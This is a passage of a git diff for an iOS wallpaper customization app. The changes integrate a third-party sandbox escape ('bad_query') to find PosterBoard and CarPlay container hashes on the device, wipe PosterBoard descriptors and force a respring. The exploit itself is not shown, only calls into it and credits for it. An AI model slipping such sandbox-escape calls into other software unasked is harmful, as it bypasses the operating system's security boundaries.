pbManager.applyTendies(appHash: hash) SymHandler.cleanup() // just to be extra sure try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL()) - UIApplication.shared.dismissAlert(animated: false) - DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: { + + DispatchQueue.main.async { pbManager.selectedTendies.removeAll() + pbManager.videos.removeAll() Haptic.shared.notify(.success) - UIApplication.shared.confirmAlert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("The PosterBoard app will now open. Please close it from the app switcher.", comment: ""), onOK: { - if !pbManager.openPosterBoard() { - UIApplication.shared.confirmAlert(title: NSLocalizedString("Falling Back to Shortcut", comment: ""), body: NSLocalizedString("PosterBoard failed to open directly. The fallback shortcut will now be opened.", comment: ""), onOK: { - pbManager.runShortcut(named: "PosterBoard") - }, noCancel: true) - } - }, noCancel: true) - }) + // Instant Mond-style respring (no alert delay) + RespringHelper.respring() + } } catch CocoaError.fileWriteUnknown { presentError(ApplyError.wrongAppHash) } catch CocoaError.fileWriteFileExists { @@ -99,21 +106,41 @@ struct ContentView: View { .buttonStyle(TintedButton(color: .blue, fullwidth: true)) } Button(action: { - if #available(iOS 18.0, *) { - guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else { - hideResetHelp = false // fallback to tutorial - return - } - UIApplication.shared.confirmAlert(title: NSLocalizedString("Reset Collections", comment: ""), body: NSLocalizedString("Do you want to reset collections?", comment: ""), onOK: { - if pbManager.setSystemLanguage(to: lang) { - UIApplication.shared.alert(title: NSLocalizedString("Collections Successfully Reset!", comment: ""), body: NSLocalizedString("Your PosterBoard will refresh automatically.", comment: "")) - } else { - UIApplication.shared.alert(body: "The API failed to call correctly.\nSystem Locale Code: \(lang)") + UIApplication.shared.confirmAlert( + title: NSLocalizedString("Reset Collections", comment: ""), + body: SymHandler.prefersBadQuery + ? "This will wipe custom PosterBoard descriptors via bad_query, then respring." + : NSLocalizedString("Do you want to reset collections?", comment: ""), + onOK: { + UIApplication.shared.alert( + title: "Resetting…", + body: "Please wait", + animated: true, + withButton: false + ) + DispatchQueue.global(qos: .userInitiated).async { + do { + var hash = pbHash + if hash.isEmpty && SymHandler.prefersBadQuery { + hash = try BadQuery.findPosterBoardHash() + DispatchQueue.main.async { pbHash = hash } + } + guard !hash.isEmpty else { + throw ApplyError.wrongAppHash + } + try pbManager.resetCollections(appHash: hash) + DispatchQueue.main.async { + Haptic.shared.notify(.success) + // Instant Mond-style respring + RespringHelper.respring() + } + } catch { + presentError(ApplyError.unexpected(info: error.localizedDescription)) + } } - }, noCancel: false) - } else { - hideResetHelp = false - } + }, + noCancel: false + ) }) { Label("Reset Collections", systemImage: "arrow.clockwise.circle") } @@ -171,11 +198,11 @@ struct ContentView: View { func presentError(_ error: ApplyError) { SymHandler.cleanup() - UIApplication.shared.dismissAlert(animated: false) - DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: { + DispatchQueue.main.async { Haptic.shared.notify(.error) - UIApplication.shared.alert(body: error.localizedDescription) - }) + // alert() dismisses any buttonless progress sheet first, always with OK + UIApplication.shared.alert(body: error.localizedDescription, withButton: true) + } } init() { diff --git a/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift b/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift index 21e9e94..e7b7e68 100644 --- a/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift +++ b/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift @@ -5,7 +5,7 @@ // Created by lemin on 5/31/25. // -import SwiftUICore +import SwiftUI struct OnBoardingPage: Identifiable { var id = UUID() diff --git a/Pocket Poster/Views/SettingsView.swift b/Pocket Poster/Views/SettingsView.swift index f10275d..49ee962 100644 --- a/Pocket Poster/Views/SettingsView.swift +++ b/Pocket Poster/Views/SettingsView.swift @@ -15,11 +15,12 @@ struct SettingsView: View { @State var checkingForHash: Bool = false @State var hashCheckTask: Task? = nil + @State var detectingOnDevice: Bool = false var body: some View { List { Section { - VStack { + VStack(alignment: .leading, spacing: 10) { TextField("Enter PosterBoard App Hash", text: $pbHash) .textFieldStyle(RoundedBorderTextFieldStyle()) .font(.system(.body, design: .monospaced)) @@ -28,8 +29,30 @@ struct SettingsView: View { .textFieldStyle(RoundedBorderTextFieldStyle()) .font(.system(.body, design: .monospaced)) } + + if SymHandler.prefersBadQuery { + Text("bad_query available — on-device detect works (no PC).") + .font(.caption) + .foregroundStyle(.secondary) + } + HStack { Spacer() + // On-device detect via bad_query (iOS 26/27) + if SymHandler.prefersBadQuery { + Button(action: { + detectOnDevice() + }) { + if detectingOnDevice { + ProgressView() + } else { + Text("Detect On-Device") + } + } + .foregroundStyle(.blue) + .disabled(detectingOnDevice) + } + // Run task to check until file exists from Nugget pc over AFC Button(action: { if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) { @@ -40,7 +63,7 @@ struct SettingsView: View { } startWaitForHash() }) { - Text("Detect") + Text(SymHandler.prefersBadQuery ? "Detect via Nugget" : "Detect") } .foregroundStyle(.green) .onChange(of: checkingForHash) { _ in @@ -138,10 +161,12 @@ struct SettingsView: View { // MARK: Credits Section { + LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "bad_query port · iOS 27 build", circle: true) LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true) LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true) - LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit", comment: ""), circle: true) - LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit", comment: ""), circle: true) + LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true) + LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true) + LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/bad_query", title: "forcequitOS", contribution: "bad_query (iOS 26/27)", circle: false) LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true) LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor") } header: { @@ -150,6 +175,59 @@ struct SettingsView: View { } } + /// Scan containers on-device with bad_query / fsgetpath — no computer needed. + func detectOnDevice() { + detectingOnDevice = true + UIApplication.shared.alert( + title: "Scanning containers…", + body: "Looking for PosterBoard via bad_query. This may take a moment.", + animated: true, + withButton: false + ) + + DispatchQueue.global(qos: .userInitiated).async { + var pb: String? + var cp: String? + var errMsg: String? + + do { + pb = try BadQuery.findPosterBoardHash() + } catch { + errMsg = error.localizedDescription + } + + if CarPlayManager.supportsCarPlay() { + cp = try? BadQuery.findCarPlayHash() + } + + // Always show a closeable result alert (loading alert has no OK button — + // dismiss must complete before the next alert is presented). + DispatchQueue.main.async { + detectingOnDevice = false + + if let pb { + pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines) + if let cp { + cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines) + } + Haptic.shared.notify(.success) + let body = cp != nil + ? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)" + : "PosterBoard:\n\(pbHash)" + // alert() auto-dismisses any previous (buttonless) sheet first + UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true) + } else { + Haptic.shared.notify(.error) + UIApplication.shared.alert( + title: "Detect failed", + body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.", + withButton: true + ) + } + } + } + } + func startWaitForHash() { checkingForHash = true hashCheckTask = Task { diff --git a/Pocket-Poster-Info.plist b/Pocket-Poster-Info.plist index 8073dc1..4ca2a52 100644 --- a/Pocket-Poster-Info.plist +++ b/Pocket-Poster-Info.plist @@ -11,7 +11,7 @@ Owner LSItemContentTypes - com.leemin.tendies + com.mak5er.tendies @@ -21,7 +21,7 @@ CFBundleTypeRole Editor CFBundleURLName - com.leemin.pocketposter + com.mak5er.pocketposter CFBundleURLSchemes pocketposter @@ -43,7 +43,7 @@ UTTypeIconFiles UTTypeIdentifier - com.leemin.tendies + com.mak5er.tendies UTTypeTagSpecification public.filename-extension @@ -66,7 +66,7 @@ UTTypeIconFiles UTTypeIdentifier - com.leemin.tendies + com.mak5er.tendies UTTypeTagSpecification public.filename-extension diff --git a/README.md b/README.md index fc0df5c..fa42ce2 100644 --- a/README.md +++ b/README.md @@ -4,18 +4,25 @@

Pocket Poster

-

Custom PosterBoard Wallpapers for iOS 17+

+

Custom PosterBoard Wallpapers for iOS 17+ · bad_query for iOS 26–27.0b4

+

Maintained / iOS 27 port by Mak5er

-     - - -
## Getting Started -Since there is no way to read files currently, you will need a computer to get the App Hash/UUID. + +### iOS 26 / 27.0b4 (bad_query) +On versions where [bad_query][badQueryGitHub] works, **no computer is required**: +1. Install the IPA (sideload with TrollStore / SideStore / etc.). +2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects). +3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard). + +**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way. + +### Older iOS (legacy .Trash exploit) +You will need a computer to get the App Hash/UUID. Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button. @@ -25,14 +32,19 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help. ## Credits -- Translations crowdsourced using [POEditor][POEditorJoin]. Thank you everyone who assisted in the translation effort! +- **[Mak5er][Mak5erGitHub]** — bad_query integration, iOS 27 port, full respring, on-device detect +- [LeminLimez][LeminGitHub] — original Pocket Poster +- Translations crowdsourced using [POEditor][POEditorJoin] - [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard - [dootskyre][dootskyreX] for the fallback shortcut -- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the exploit +- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit +- [forcequitOS][badQueryGitHub] for bad_query (iOS 26/27 sandbox escape) - [SerStars][SerStarsX] for creating the website [CowabungaWallpapersPage]: https://cowabun.ga/wallpapers [NuggetGitHub]: https://github.com/leminlimez/Nugget +[LeminGitHub]: https://github.com/leminlimez +[Mak5erGitHub]: https://github.com/Mak5er [CowabungaDiscord]: https://discord.gg/cowabunga [PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh @@ -41,3 +53,4 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun [NathanGitHub]: https://github.com/verygenericname [DuyKhanhTranGitHub]: https://github.com/khanhduytran0 [SerStarsX]: https://x.com/SerStars +[badQueryGitHub]: https://github.com/forcequitOS/bad_query